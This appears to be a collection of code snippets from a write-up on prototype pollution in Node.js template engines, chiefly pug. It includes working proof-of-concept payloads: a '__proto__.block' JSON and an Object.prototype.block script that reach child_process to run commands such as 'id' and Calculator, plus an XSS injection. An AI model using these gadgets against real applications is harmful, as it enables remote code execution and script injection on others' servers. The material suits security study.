rayepeng

function filter(proxies) {
	return proxies.map(p => {
		return p.type === "vmess" && p.name.indexOf("美国") !== -1;
	});
}

rayepeng

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
   "line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // RCE here!!!
  }
}

rayepeng

const pug = require('pug');

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);

rayepeng

function walkAST(ast, before, after, options){
	
	parents.unshift(ast);

    switch (ast.type) {
	    case 'NamedBlock':
	    case 'Block':
	      ast.nodes = walkAndMergeNodes(ast.nodes);
	      break;
	    case 'Case':

rayepeng

{
    "type":"Block",
    "nodes":[
        {
            "type":"Tag",
            "name":"h1",
            "selfClosing":false,
            "block":{
                "type":"Block",
                "nodes":[

rayepeng

(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
    var locals_for_with = (locals || {});
    
    (function (msg) {
      ;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";

rayepeng

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

rayepeng

// npm install handlebars

const handlebars = require('handlebars');

// define template
const template = `
  <h1>Hello, {{name}}!</h1>
`;

// more progress, compile template

rayepeng

// npm install pug

const pug = require('pug');

// definte template
const template = `
  h1 Hello, #{name}!
`;

// compilte template

rayepeng

// npm install ejs

const ejs = require('ejs');

// define our template
const template = `
  <h1>Hello, <%= name %>!</h1>
`;

// render it